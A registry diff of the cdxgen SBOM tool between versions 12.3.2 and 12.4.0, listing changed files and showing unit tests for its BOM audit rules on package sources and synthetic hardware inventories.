@cyclonedx/cdxgen 12.3.2 → 12.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (182) hide show
  1. package/README.md +70 -22
  2. package/bin/audit.js +21 -7
  3. package/bin/cdxgen.js +238 -116
  4. package/bin/convert.js +28 -13
  5. package/bin/hbom.js +490 -0
  6. package/bin/repl.js +580 -29
  7. package/bin/validate.js +34 -4
  8. package/bin/verify.js +40 -5
  9. package/data/README.md +298 -25
  10. package/data/component-tags.json +6 -0
  11. package/data/crypto-oid.json +16 -0
  12. package/data/predictive-audit-allowlist.json +11 -0
  13. package/data/queries-darwin.json +12 -1
  14. package/data/queries-win.json +7 -1
  15. package/data/queries.json +39 -2
  16. package/data/rules/ai-agent-governance.yaml +16 -0
  17. package/data/rules/asar-archives.yaml +150 -0
  18. package/data/rules/chrome-extensions.yaml +8 -0
  19. package/data/rules/ci-permissions.yaml +171 -15
  20. package/data/rules/container-risk.yaml +14 -7
  21. package/data/rules/dependency-sources.yaml +76 -5
  22. package/data/rules/hbom-compliance.yaml +325 -0
  23. package/data/rules/hbom-performance.yaml +307 -0
  24. package/data/rules/hbom-security.yaml +248 -0
  25. package/data/rules/host-topology.yaml +165 -0
  26. package/data/rules/mcp-servers.yaml +18 -3
  27. package/data/rules/obom-runtime.yaml +907 -22
  28. package/data/rules/package-integrity.yaml +36 -0
  29. package/data/rules/rootfs-hardening.yaml +179 -0
  30. package/data/rules/vscode-extensions.yaml +9 -0
  31. package/lib/audit/index.js +209 -8
  32. package/lib/audit/index.poku.js +332 -0
  33. package/lib/audit/reporters.js +222 -0
  34. package/lib/audit/targets.js +146 -1
  35. package/lib/audit/targets.poku.js +186 -0
  36. package/lib/cli/asar.poku.js +328 -0
  37. package/lib/cli/index.js +647 -127
  38. package/lib/cli/index.poku.js +1905 -187
  39. package/lib/evinser/evinser.js +14 -9
  40. package/lib/helpers/agentFormulationParser.js +6 -2
  41. package/lib/helpers/agentFormulationParser.poku.js +42 -0
  42. package/lib/helpers/analyzer.js +1444 -38
  43. package/lib/helpers/analyzer.poku.js +409 -0
  44. package/lib/helpers/analyzerScope.js +712 -0
  45. package/lib/helpers/asarutils.js +1556 -0
  46. package/lib/helpers/asarutils.poku.js +443 -0
  47. package/lib/helpers/auditCategories.js +12 -0
  48. package/lib/helpers/auditCategories.poku.js +32 -0
  49. package/lib/helpers/cbomutils.js +271 -1
  50. package/lib/helpers/cbomutils.poku.js +248 -5
  51. package/lib/helpers/chromextutils.js +25 -3
  52. package/lib/helpers/chromextutils.poku.js +68 -0
  53. package/lib/helpers/ciParsers/githubActions.js +79 -0
  54. package/lib/helpers/ciParsers/githubActions.poku.js +103 -0
  55. package/lib/helpers/communityAiConfigParser.js +15 -5
  56. package/lib/helpers/communityAiConfigParser.poku.js +71 -0
  57. package/lib/helpers/depsUtils.js +5 -0
  58. package/lib/helpers/depsUtils.poku.js +55 -0
  59. package/lib/helpers/display.js +336 -23
  60. package/lib/helpers/display.poku.js +179 -43
  61. package/lib/helpers/evidenceUtils.js +58 -0
  62. package/lib/helpers/evidenceUtils.poku.js +54 -0
  63. package/lib/helpers/exportUtils.js +9 -0
  64. package/lib/helpers/gtfobins.js +142 -8
  65. package/lib/helpers/gtfobins.poku.js +24 -1
  66. package/lib/helpers/hbom.js +710 -0
  67. package/lib/helpers/hbom.poku.js +496 -0
  68. package/lib/helpers/hbomAnalysis.js +268 -0
  69. package/lib/helpers/hbomAnalysis.poku.js +249 -0
  70. package/lib/helpers/hbomLoader.js +35 -0
  71. package/lib/helpers/hostTopology.js +803 -0
  72. package/lib/helpers/hostTopology.poku.js +363 -0
  73. package/lib/helpers/inventoryStats.js +69 -0
  74. package/lib/helpers/inventoryStats.poku.js +86 -0
  75. package/lib/helpers/lolbas.js +19 -1
  76. package/lib/helpers/lolbas.poku.js +23 -0
  77. package/lib/helpers/mcpConfigParser.js +21 -5
  78. package/lib/helpers/mcpConfigParser.poku.js +39 -2
  79. package/lib/helpers/osqueryTransform.js +47 -0
  80. package/lib/helpers/osqueryTransform.poku.js +47 -0
  81. package/lib/helpers/plugins.js +349 -0
  82. package/lib/helpers/plugins.poku.js +57 -0
  83. package/lib/helpers/propertySanitizer.js +121 -0
  84. package/lib/helpers/protobom.js +156 -45
  85. package/lib/helpers/protobom.poku.js +140 -5
  86. package/lib/helpers/remote/dependency-track.js +36 -3
  87. package/lib/helpers/remote/dependency-track.poku.js +44 -0
  88. package/lib/helpers/source.js +24 -0
  89. package/lib/helpers/source.poku.js +32 -0
  90. package/lib/helpers/utils.js +2454 -198
  91. package/lib/helpers/utils.poku.js +1798 -74
  92. package/lib/managers/binary.e2e.poku.js +367 -0
  93. package/lib/managers/binary.js +2306 -350
  94. package/lib/managers/binary.poku.js +1700 -1
  95. package/lib/managers/docker.js +441 -95
  96. package/lib/managers/docker.poku.js +1479 -14
  97. package/lib/server/server.js +2 -24
  98. package/lib/server/server.poku.js +36 -1
  99. package/lib/stages/postgen/annotator.js +38 -0
  100. package/lib/stages/postgen/annotator.poku.js +107 -1
  101. package/lib/stages/postgen/auditBom.js +121 -18
  102. package/lib/stages/postgen/auditBom.poku.js +2967 -990
  103. package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
  104. package/lib/stages/postgen/postgen.js +192 -1
  105. package/lib/stages/postgen/postgen.poku.js +321 -0
  106. package/lib/stages/postgen/ruleEngine.js +116 -0
  107. package/lib/stages/pregen/envAudit.js +14 -3
  108. package/package.json +24 -21
  109. package/types/bin/hbom.d.ts +3 -0
  110. package/types/bin/hbom.d.ts.map +1 -0
  111. package/types/bin/repl.d.ts.map +1 -1
  112. package/types/lib/audit/index.d.ts +44 -0
  113. package/types/lib/audit/index.d.ts.map +1 -1
  114. package/types/lib/audit/reporters.d.ts +16 -0
  115. package/types/lib/audit/reporters.d.ts.map +1 -1
  116. package/types/lib/audit/targets.d.ts.map +1 -1
  117. package/types/lib/cli/index.d.ts +16 -0
  118. package/types/lib/cli/index.d.ts.map +1 -1
  119. package/types/lib/evinser/evinser.d.ts +4 -0
  120. package/types/lib/evinser/evinser.d.ts.map +1 -1
  121. package/types/lib/helpers/agentFormulationParser.d.ts.map +1 -1
  122. package/types/lib/helpers/analyzer.d.ts +33 -0
  123. package/types/lib/helpers/analyzer.d.ts.map +1 -1
  124. package/types/lib/helpers/analyzerScope.d.ts +11 -0
  125. package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
  126. package/types/lib/helpers/asarutils.d.ts +34 -0
  127. package/types/lib/helpers/asarutils.d.ts.map +1 -0
  128. package/types/lib/helpers/auditCategories.d.ts +5 -0
  129. package/types/lib/helpers/auditCategories.d.ts.map +1 -1
  130. package/types/lib/helpers/cbomutils.d.ts +3 -2
  131. package/types/lib/helpers/cbomutils.d.ts.map +1 -1
  132. package/types/lib/helpers/chromextutils.d.ts.map +1 -1
  133. package/types/lib/helpers/ciParsers/githubActions.d.ts.map +1 -1
  134. package/types/lib/helpers/communityAiConfigParser.d.ts.map +1 -1
  135. package/types/lib/helpers/depsUtils.d.ts.map +1 -1
  136. package/types/lib/helpers/display.d.ts +1 -0
  137. package/types/lib/helpers/display.d.ts.map +1 -1
  138. package/types/lib/helpers/evidenceUtils.d.ts +8 -0
  139. package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
  140. package/types/lib/helpers/exportUtils.d.ts.map +1 -1
  141. package/types/lib/helpers/gtfobins.d.ts +8 -0
  142. package/types/lib/helpers/gtfobins.d.ts.map +1 -1
  143. package/types/lib/helpers/hbom.d.ts +49 -0
  144. package/types/lib/helpers/hbom.d.ts.map +1 -0
  145. package/types/lib/helpers/hbomAnalysis.d.ts +62 -0
  146. package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
  147. package/types/lib/helpers/hbomLoader.d.ts +7 -0
  148. package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
  149. package/types/lib/helpers/hostTopology.d.ts +12 -0
  150. package/types/lib/helpers/hostTopology.d.ts.map +1 -0
  151. package/types/lib/helpers/inventoryStats.d.ts +11 -0
  152. package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
  153. package/types/lib/helpers/lolbas.d.ts.map +1 -1
  154. package/types/lib/helpers/mcpConfigParser.d.ts +1 -1
  155. package/types/lib/helpers/mcpConfigParser.d.ts.map +1 -1
  156. package/types/lib/helpers/osqueryTransform.d.ts +3 -0
  157. package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
  158. package/types/lib/helpers/plugins.d.ts +58 -0
  159. package/types/lib/helpers/plugins.d.ts.map +1 -0
  160. package/types/lib/helpers/propertySanitizer.d.ts +3 -0
  161. package/types/lib/helpers/propertySanitizer.d.ts.map +1 -0
  162. package/types/lib/helpers/protobom.d.ts +3 -4
  163. package/types/lib/helpers/protobom.d.ts.map +1 -1
  164. package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
  165. package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
  166. package/types/lib/helpers/source.d.ts.map +1 -1
  167. package/types/lib/helpers/utils.d.ts +74 -8
  168. package/types/lib/helpers/utils.d.ts.map +1 -1
  169. package/types/lib/managers/binary.d.ts +5 -0
  170. package/types/lib/managers/binary.d.ts.map +1 -1
  171. package/types/lib/managers/docker.d.ts +3 -0
  172. package/types/lib/managers/docker.d.ts.map +1 -1
  173. package/types/lib/server/server.d.ts +2 -0
  174. package/types/lib/server/server.d.ts.map +1 -1
  175. package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
  176. package/types/lib/stages/postgen/auditBom.d.ts +26 -1
  177. package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
  178. package/types/lib/stages/postgen/postgen.d.ts +2 -1
  179. package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
  180. package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
  181. package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
  182. package/data/spdx-model-v3.0.1.jsonld +0 -15999
@@ -5,9 +5,12 @@ import { PackageURL } from "packageurl-js";
5
5
  import { assert, describe, it } from "poku";
6
6
 
7
7
  import { githubActionsParser } from "../../helpers/ciParsers/githubActions.js";
8
+ import { createLolbasProperties } from "../../helpers/lolbas.js";
8
9
  import {
9
10
  auditBom,
10
11
  formatAnnotations,
12
+ formatDryRunSupportSummary,
13
+ getBomAuditDryRunSupportSummary,
11
14
  hasCriticalFindings,
12
15
  } from "./auditBom.js";
13
16
  import { evaluateRule, evaluateRules, loadRules } from "./ruleEngine.js";
@@ -95,6 +98,51 @@ function makeChromeExtensionComponent(name, version, properties) {
95
98
  };
96
99
  }
97
100
 
101
+ function makeHbomComponent(name, hardwareClass, properties = [], extra = {}) {
102
+ return {
103
+ type: "device",
104
+ name,
105
+ version: extra.version,
106
+ "bom-ref": extra.bomRef || `urn:uuid:${hardwareClass}:${name}`,
107
+ properties: [["cdx:hbom:hardwareClass", hardwareClass], ...properties].map(
108
+ ([k, v]) => ({ name: k, value: v }),
109
+ ),
110
+ ...extra,
111
+ };
112
+ }
113
+
114
+ function makeHbomBom(
115
+ components = [],
116
+ metadataProperties = [],
117
+ bomProperties = [],
118
+ ) {
119
+ return {
120
+ bomFormat: "CycloneDX",
121
+ specVersion: "1.7",
122
+ serialNumber: "urn:uuid:test-hbom",
123
+ metadata: {
124
+ tools: {
125
+ components: [
126
+ {
127
+ type: "application",
128
+ name: "cdxgen",
129
+ version: "12.4.0",
130
+ "bom-ref": "pkg:npm/%40cyclonedx/cdxgen@12.4.0",
131
+ },
132
+ ],
133
+ },
134
+ component: {
135
+ name: "test-host",
136
+ type: "device",
137
+ "bom-ref": "urn:uuid:test-host",
138
+ properties: metadataProperties.map(([k, v]) => ({ name: k, value: v })),
139
+ },
140
+ },
141
+ components,
142
+ properties: bomProperties.map(([k, v]) => ({ name: k, value: v })),
143
+ };
144
+ }
145
+
98
146
  function makeBomFromWorkflowFixture(filename) {
99
147
  const workflowFile = join(WORKFLOWS_DIR, filename);
100
148
  const result = githubActionsParser.parse([workflowFile], {
@@ -115,6 +163,10 @@ describe("loadRules", () => {
115
163
  ["critical", "high", "medium", "low"].includes(rule.severity),
116
164
  `Rule ${rule.id} severity must be valid`,
117
165
  );
166
+ assert.ok(
167
+ ["no", "partial", "full"].includes(rule.dryRunSupport),
168
+ `Rule ${rule.id} dry-run support must be valid`,
169
+ );
118
170
  }
119
171
  });
120
172
 
@@ -146,6 +198,50 @@ describe("loadRules", () => {
146
198
  assert.ok(mcpRules.length > 0, "Should have MCP server rules");
147
199
  const agentRules = rules.filter((r) => r.category === "ai-agent");
148
200
  assert.ok(agentRules.length > 0, "Should have AI agent rules");
201
+ const asarRules = rules.filter((r) => r.category === "asar-archive");
202
+ assert.ok(asarRules.length > 0, "Should have ASAR archive rules");
203
+ const hbomSecurityRules = rules.filter(
204
+ (r) => r.category === "hbom-security",
205
+ );
206
+ assert.ok(hbomSecurityRules.length > 0, "Should have HBOM security rules");
207
+ const hbomPerformanceRules = rules.filter(
208
+ (r) => r.category === "hbom-performance",
209
+ );
210
+ assert.ok(
211
+ hbomPerformanceRules.length > 0,
212
+ "Should have HBOM performance rules",
213
+ );
214
+ const hbomComplianceRules = rules.filter(
215
+ (r) => r.category === "hbom-compliance",
216
+ );
217
+ assert.ok(
218
+ hbomComplianceRules.length > 0,
219
+ "Should have HBOM compliance rules",
220
+ );
221
+ const hostTopologyRules = rules.filter(
222
+ (r) => r.category === "host-topology",
223
+ );
224
+ assert.ok(hostTopologyRules.length > 0, "Should have host-topology rules");
225
+ });
226
+
227
+ it("should assign explicit dry-run support metadata to built-in rules", async () => {
228
+ const rules = await loadRules(RULES_DIR);
229
+ assert.strictEqual(
230
+ rules.find((rule) => rule.id === "CI-001")?.dryRunSupport,
231
+ "full",
232
+ );
233
+ assert.strictEqual(
234
+ rules.find((rule) => rule.id === "INT-003")?.dryRunSupport,
235
+ "no",
236
+ );
237
+ assert.strictEqual(
238
+ rules.find((rule) => rule.id === "INT-005")?.dryRunSupport,
239
+ "partial",
240
+ );
241
+ assert.strictEqual(
242
+ rules.find((rule) => rule.id === "HBS-001")?.dryRunSupport,
243
+ "full",
244
+ );
149
245
  });
150
246
  });
151
247
 
@@ -190,7 +286,7 @@ describe("evaluateRule", () => {
190
286
  );
191
287
  });
192
288
 
193
- it("should detect npm install script from non-registry source (PKG-001)", async () => {
289
+ it("should detect npm install script from direct manifest source (PKG-001)", async () => {
194
290
  const rules = await loadRules(RULES_DIR);
195
291
  const rule = rules.find((r) => r.id === "PKG-001");
196
292
  assert.ok(rule, "PKG-001 rule should exist");
@@ -198,7 +294,11 @@ describe("evaluateRule", () => {
198
294
  const bom = makeBom([
199
295
  makeComponent("sketchy-pkg", "1.0.0", [
200
296
  ["cdx:npm:hasInstallScript", "true"],
201
- ["cdx:npm:isRegistryDependency", "false"],
297
+ ["cdx:npm:manifestSourceType", "git"],
298
+ [
299
+ "cdx:npm:manifestSource",
300
+ "git+https://github.com/acme/sketchy-pkg.git",
301
+ ],
202
302
  ]),
203
303
  ]);
204
304
 
@@ -207,6 +307,485 @@ describe("evaluateRule", () => {
207
307
  assert.strictEqual(findings[0].severity, "high");
208
308
  });
209
309
 
310
+ it("should detect npm install scripts from url and path manifest sources for PKG-001", async () => {
311
+ const rules = await loadRules(RULES_DIR);
312
+ const rule = rules.find((r) => r.id === "PKG-001");
313
+ assert.ok(rule, "PKG-001 rule should exist");
314
+
315
+ for (const manifestSourceType of ["url", "path"]) {
316
+ const bom = makeBom([
317
+ makeComponent(`sketchy-${manifestSourceType}`, "1.0.0", [
318
+ ["cdx:npm:hasInstallScript", "true"],
319
+ ["cdx:npm:manifestSourceType", manifestSourceType],
320
+ ["cdx:npm:manifestSource", `${manifestSourceType}:example`],
321
+ ]),
322
+ ]);
323
+
324
+ const findings = await evaluateRule(rule, bom);
325
+ assert.ok(findings.length > 0);
326
+ }
327
+ });
328
+
329
+ it("should not detect npm install script without manifest source evidence for PKG-001", async () => {
330
+ const rules = await loadRules(RULES_DIR);
331
+ const rule = rules.find((r) => r.id === "PKG-001");
332
+ assert.ok(rule, "PKG-001 rule should exist");
333
+
334
+ const bom = makeBom([
335
+ makeComponent("registry-pkg", "1.0.0", [
336
+ ["cdx:npm:hasInstallScript", "true"],
337
+ ["cdx:npm:isRegistryDependency", "false"],
338
+ ]),
339
+ ]);
340
+
341
+ const findings = await evaluateRule(rule, bom);
342
+ assert.strictEqual(findings.length, 0);
343
+ });
344
+
345
+ it("should detect Collider packages from insecure HTTP origins (PKG-009)", async () => {
346
+ const rules = await loadRules(RULES_DIR);
347
+ const rule = rules.find((r) => r.id === "PKG-009");
348
+ assert.ok(rule, "PKG-009 rule should exist");
349
+
350
+ const bom = makeBom([
351
+ makeComponent("fmt", "11.0.2", [
352
+ ["cdx:collider:dependencyKind", "direct"],
353
+ ["cdx:collider:origin", "http://mirror.example.com/collider/v2/"],
354
+ ["cdx:collider:originScheme", "http"],
355
+ ["cdx:collider:originHost", "mirror.example.com"],
356
+ ]),
357
+ ]);
358
+
359
+ const findings = await evaluateRule(rule, bom);
360
+ assert.ok(findings.length > 0, "Should detect insecure Collider origin");
361
+ assert.strictEqual(findings[0].ruleId, "PKG-009");
362
+ assert.strictEqual(findings[0].severity, "medium");
363
+ });
364
+
365
+ it("should detect Collider origins that required sanitization (PKG-010)", async () => {
366
+ const rules = await loadRules(RULES_DIR);
367
+ const rule = rules.find((r) => r.id === "PKG-010");
368
+ assert.ok(rule, "PKG-010 rule should exist");
369
+
370
+ const bom = makeBom([
371
+ makeComponent("spdlog", "1.15.0", [
372
+ ["cdx:collider:dependencyKind", "direct"],
373
+ ["cdx:collider:origin", "https://example.com/collider/v2/"],
374
+ ["cdx:collider:originScheme", "https"],
375
+ ["cdx:collider:originSanitized", "true"],
376
+ ]),
377
+ ]);
378
+
379
+ const findings = await evaluateRule(rule, bom);
380
+ assert.ok(findings.length > 0, "Should detect sanitized Collider origin");
381
+ assert.strictEqual(findings[0].ruleId, "PKG-010");
382
+ assert.strictEqual(findings[0].severity, "low");
383
+ });
384
+
385
+ it("should detect python dependency from direct manifest source (PKG-011)", async () => {
386
+ const rules = await loadRules(RULES_DIR);
387
+ const rule = rules.find((r) => r.id === "PKG-011");
388
+ assert.ok(rule, "PKG-011 rule should exist");
389
+
390
+ const bom = makeBom([
391
+ makeComponent("suspicious-python-pkg", "1.0.0", [
392
+ ["cdx:pypi:manifestSourceType", "url"],
393
+ [
394
+ "cdx:pypi:manifestSource",
395
+ "https://example.com/suspicious-python-pkg.whl",
396
+ ],
397
+ ]),
398
+ ]);
399
+
400
+ const findings = await evaluateRule(rule, bom);
401
+ assert.ok(findings.length > 0, "Should detect python direct source risk");
402
+ assert.strictEqual(findings[0].ruleId, "PKG-011");
403
+ assert.strictEqual(findings[0].severity, "high");
404
+ });
405
+
406
+ it("should detect HBOM security findings from synthetic device inventory", async () => {
407
+ const bom = makeHbomBom(
408
+ [
409
+ makeHbomComponent("Main SSD", "storage", [
410
+ ["cdx:hbom:isEncrypted", "false"],
411
+ ["cdx:hbom:deviceSerial", "ABC123456789"],
412
+ ]),
413
+ makeHbomComponent("wifi0", "wireless-adapter", [
414
+ ["cdx:hbom:connected", "true"],
415
+ ["cdx:hbom:securityMode", "open"],
416
+ ]),
417
+ makeHbomComponent("USB Stick", "storage-volume", [
418
+ ["cdx:hbom:isRemovable", "true"],
419
+ ["cdx:hbom:isLocked", "false"],
420
+ ]),
421
+ makeHbomComponent("USB4 Dock", "bus", [
422
+ ["cdx:hbom:securityLevel", "none"],
423
+ ["cdx:hbom:iommuProtection", "false"],
424
+ ["cdx:hbom:policy", "auto"],
425
+ ]),
426
+ makeHbomComponent("LTE Modem", "modem", [
427
+ ["cdx:hbom:imei", "490154203237518"],
428
+ ["cdx:hbom:ownNumbers", "+15551234567"],
429
+ ]),
430
+ ],
431
+ [
432
+ ["cdx:hbom:platform", "linux"],
433
+ ["cdx:hbom:architecture", "amd64"],
434
+ ["cdx:hbom:identifierPolicy", "full"],
435
+ ["cdx:hbom:serialNumber", "HOST-SERIAL-001"],
436
+ ],
437
+ [["cdx:hbom:collectorProfile", "linux-amd64"]],
438
+ );
439
+
440
+ const findings = await auditBom(bom, {
441
+ bomAuditCategories: "hbom-security",
442
+ });
443
+ const ruleIds = new Set(findings.map((finding) => finding.ruleId));
444
+
445
+ assert.ok(ruleIds.has("HBS-001"));
446
+ assert.ok(ruleIds.has("HBS-002"));
447
+ assert.ok(ruleIds.has("HBS-003"));
448
+ assert.ok(ruleIds.has("HBS-004"));
449
+ assert.ok(ruleIds.has("HBS-005"));
450
+ assert.ok(ruleIds.has("HBS-006"));
451
+ });
452
+
453
+ it("should detect HBOM performance findings from synthetic device inventory", async () => {
454
+ const bom = makeHbomBom([
455
+ makeHbomComponent("rootfs", "storage-volume", [
456
+ ["cdx:hbom:capacityBytes", "1000"],
457
+ ["cdx:hbom:freeBytes", "100"],
458
+ ]),
459
+ makeHbomComponent("nvme0", "storage", [
460
+ ["cdx:hbom:wearPercentageUsed", "91"],
461
+ ["cdx:hbom:smartStatus", "Failing"],
462
+ ]),
463
+ makeHbomComponent("CPU Thermal Zone", "thermal-zone", [
464
+ ["cdx:hbom:temperatureCelsius", "92"],
465
+ ]),
466
+ makeHbomComponent("Battery", "power", [
467
+ ["cdx:hbom:maximumCapacity", "71%"],
468
+ ["cdx:hbom:cycleCount", "1204"],
469
+ ["cdx:hbom:designCapacityPercent", "62"],
470
+ ]),
471
+ makeHbomComponent("eth0", "network-interface", [
472
+ ["cdx:hbom:operState", "up"],
473
+ ["cdx:hbom:duplex", "half"],
474
+ ["cdx:hbom:speedMbps", "100"],
475
+ ]),
476
+ makeHbomComponent("DIMM Bank", "memory", [
477
+ ["cdx:hbom:sizeBytes", "1000"],
478
+ ["cdx:hbom:memoryOnlineSize", "800"],
479
+ ]),
480
+ makeHbomComponent("USB Camera", "usb-device", [
481
+ ["cdx:hbom:currentRequired", "900"],
482
+ ["cdx:hbom:currentAvailable", "500"],
483
+ ]),
484
+ makeHbomComponent("LTE Modem", "modem", [
485
+ ["cdx:hbom:signalQuality", "18"],
486
+ ["cdx:hbom:operatorName", "ExampleTel"],
487
+ ]),
488
+ ]);
489
+
490
+ const findings = await auditBom(bom, {
491
+ bomAuditCategories: "hbom-performance",
492
+ });
493
+ const ruleIds = new Set(findings.map((finding) => finding.ruleId));
494
+
495
+ assert.ok(ruleIds.has("HBP-001"));
496
+ assert.ok(ruleIds.has("HBP-002"));
497
+ assert.ok(ruleIds.has("HBP-003"));
498
+ assert.ok(ruleIds.has("HBP-004"));
499
+ assert.ok(ruleIds.has("HBP-005"));
500
+ assert.ok(ruleIds.has("HBP-006"));
501
+ assert.ok(ruleIds.has("HBP-007"));
502
+ assert.ok(ruleIds.has("HBP-008"));
503
+ assert.ok(ruleIds.has("HBP-009"));
504
+ });
505
+
506
+ it("should detect HBOM compliance findings from synthetic device inventory", async () => {
507
+ const bom = makeHbomBom(
508
+ [
509
+ makeHbomComponent("rootfs", "storage-volume", [
510
+ ["cdx:hbom:capacityBytes", "1000"],
511
+ ]),
512
+ makeHbomComponent("HDMI-A-1", "display-connector", [
513
+ ["cdx:hbom:displayConnectorType", "HDMI-A"],
514
+ ]),
515
+ ],
516
+ [
517
+ ["cdx:hbom:platform", "linux"],
518
+ ["cdx:hbom:identifierPolicy", "full"],
519
+ ],
520
+ [
521
+ ["cdx:hbom:collectorProfile", "linux-amd64"],
522
+ ["cdx:hbom:analysis:missingCommandCount", "2"],
523
+ ["cdx:hbom:analysis:missingCommands", "lspci,lsusb"],
524
+ [
525
+ "cdx:hbom:analysis:missingCommandIds",
526
+ "fwupdmgr-devices-json,edid-decode",
527
+ ],
528
+ ["cdx:hbom:analysis:installHintCount", "2"],
529
+ ["cdx:hbom:analysis:permissionDeniedCount", "1"],
530
+ ["cdx:hbom:analysis:permissionDeniedCommands", "drm_info"],
531
+ [
532
+ "cdx:hbom:analysis:permissionDeniedIds",
533
+ "dmidecode-firmware-board,drm-info-json",
534
+ ],
535
+ ["cdx:hbom:analysis:privilegeHintCount", "1"],
536
+ ["cdx:hbom:analysis:requiresPrivileged", "true"],
537
+ ],
538
+ );
539
+
540
+ const findings = await auditBom(bom, {
541
+ bomAuditCategories: "hbom-compliance",
542
+ });
543
+ const ruleIds = new Set(findings.map((finding) => finding.ruleId));
544
+
545
+ assert.ok(ruleIds.has("HBC-001"));
546
+ assert.ok(ruleIds.has("HBC-002"));
547
+ assert.ok(ruleIds.has("HBC-003"));
548
+ assert.ok(ruleIds.has("HBC-004"));
549
+ assert.ok(ruleIds.has("HBC-005"));
550
+ assert.ok(ruleIds.has("HBC-006"));
551
+ assert.ok(ruleIds.has("HBC-007"));
552
+ assert.ok(ruleIds.has("HBC-008"));
553
+ assert.ok(ruleIds.has("HBC-009"));
554
+ assert.ok(ruleIds.has("HBC-010"));
555
+ });
556
+
557
+ it("should not flag redacted-by-default HBOM identifier policy as a compliance finding", async () => {
558
+ const bom = makeHbomBom(
559
+ [],
560
+ [
561
+ ["cdx:hbom:platform", "darwin"],
562
+ ["cdx:hbom:architecture", "arm64"],
563
+ ["cdx:hbom:identifierPolicy", "redacted-by-default"],
564
+ ["cdx:hbom:serialNumber", "redacted:serialNumber"],
565
+ ],
566
+ [
567
+ ["cdx:hbom:collectorProfile", "darwin-arm64"],
568
+ ["cdx:hbom:evidence:commandCount", "1"],
569
+ ["cdx:hbom:evidence:command", "system_profiler"],
570
+ ],
571
+ );
572
+
573
+ const findings = await auditBom(bom, {
574
+ bomAuditCategories: "hbom-compliance",
575
+ });
576
+
577
+ assert.ok(
578
+ !findings.some((finding) => finding.ruleId === "HBC-005"),
579
+ "redacted-by-default should not trigger HBC-005",
580
+ );
581
+ });
582
+
583
+ it("should not flag HBOM collector evidence as incomplete when BOM command evidence is present", async () => {
584
+ const rules = await loadRules(RULES_DIR);
585
+ const rule = rules.find((r) => r.id === "HBC-003");
586
+
587
+ const bom = makeHbomBom(
588
+ [],
589
+ [
590
+ ["cdx:hbom:platform", "darwin"],
591
+ ["cdx:hbom:architecture", "arm64"],
592
+ ["cdx:hbom:identifierPolicy", "redacted-by-default"],
593
+ ],
594
+ [
595
+ ["cdx:hbom:collectorProfile", "darwin-arm64"],
596
+ ["cdx:hbom:evidence:commandCount", "2"],
597
+ [
598
+ "cdx:hbom:evidence:command",
599
+ "system-profiler-json|platform|/usr/sbin/system_profiler SPHardwareDataType -json",
600
+ ],
601
+ [
602
+ "cdx:hbom:evidence:command",
603
+ "battery-status|power|/usr/bin/pmset -g batt",
604
+ ],
605
+ ],
606
+ );
607
+
608
+ const findings = await evaluateRule(rule, bom);
609
+ assert.strictEqual(findings.length, 0);
610
+ });
611
+
612
+ it("should detect HBOM command diagnostics for missing utilities and permission-denied enrichments", async () => {
613
+ const rules = await loadRules(RULES_DIR);
614
+ const missingCommandsRule = rules.find((r) => r.id === "HBC-006");
615
+ const permissionDeniedRule = rules.find((r) => r.id === "HBC-007");
616
+ const firmwareRule = rules.find((r) => r.id === "HBC-008");
617
+ const boardRule = rules.find((r) => r.id === "HBC-009");
618
+ const displayRule = rules.find((r) => r.id === "HBC-010");
619
+
620
+ const bom = makeHbomBom(
621
+ [
622
+ makeHbomComponent("eDP-1", "display-connector", [
623
+ ["cdx:hbom:displayConnectorType", "eDP"],
624
+ ]),
625
+ ],
626
+ [
627
+ ["cdx:hbom:platform", "linux"],
628
+ ["cdx:hbom:architecture", "amd64"],
629
+ ],
630
+ [
631
+ ["cdx:hbom:collectorProfile", "linux-amd64-v1"],
632
+ ["cdx:hbom:analysis:missingCommandCount", "1"],
633
+ ["cdx:hbom:analysis:missingCommands", "lsusb"],
634
+ [
635
+ "cdx:hbom:analysis:missingCommandIds",
636
+ "fwupdmgr-devices-json,edid-decode",
637
+ ],
638
+ ["cdx:hbom:analysis:permissionDeniedCount", "1"],
639
+ ["cdx:hbom:analysis:permissionDeniedCommands", "drm_info"],
640
+ [
641
+ "cdx:hbom:analysis:permissionDeniedIds",
642
+ "dmidecode-firmware-board,drm-info-json",
643
+ ],
644
+ ["cdx:hbom:analysis:requiresPrivileged", "true"],
645
+ ],
646
+ );
647
+
648
+ const missingCommandsFindings = await evaluateRule(
649
+ missingCommandsRule,
650
+ bom,
651
+ );
652
+ const permissionDeniedFindings = await evaluateRule(
653
+ permissionDeniedRule,
654
+ bom,
655
+ );
656
+ const firmwareFindings = await evaluateRule(firmwareRule, bom);
657
+ const boardFindings = await evaluateRule(boardRule, bom);
658
+ const displayFindings = await evaluateRule(displayRule, bom);
659
+
660
+ assert.strictEqual(missingCommandsFindings.length, 1);
661
+ assert.strictEqual(missingCommandsFindings[0].ruleId, "HBC-006");
662
+ assert.strictEqual(permissionDeniedFindings.length, 1);
663
+ assert.strictEqual(permissionDeniedFindings[0].ruleId, "HBC-007");
664
+ assert.strictEqual(firmwareFindings.length, 1);
665
+ assert.strictEqual(firmwareFindings[0].ruleId, "HBC-008");
666
+ assert.strictEqual(boardFindings.length, 1);
667
+ assert.strictEqual(boardFindings[0].ruleId, "HBC-009");
668
+ assert.strictEqual(displayFindings.length, 1);
669
+ assert.strictEqual(displayFindings[0].ruleId, "HBC-010");
670
+ });
671
+
672
+ it("should not flag redacted HBOM identifiers for the raw-identifier exposure rule", async () => {
673
+ const rules = await loadRules(RULES_DIR);
674
+ const rule = rules.find((r) => r.id === "HBS-004");
675
+
676
+ const bom = makeHbomBom(
677
+ [
678
+ makeHbomComponent("wifi0", "network-interface", [
679
+ ["cdx:hbom:macAddress", "redacted:macAddress"],
680
+ ]),
681
+ ],
682
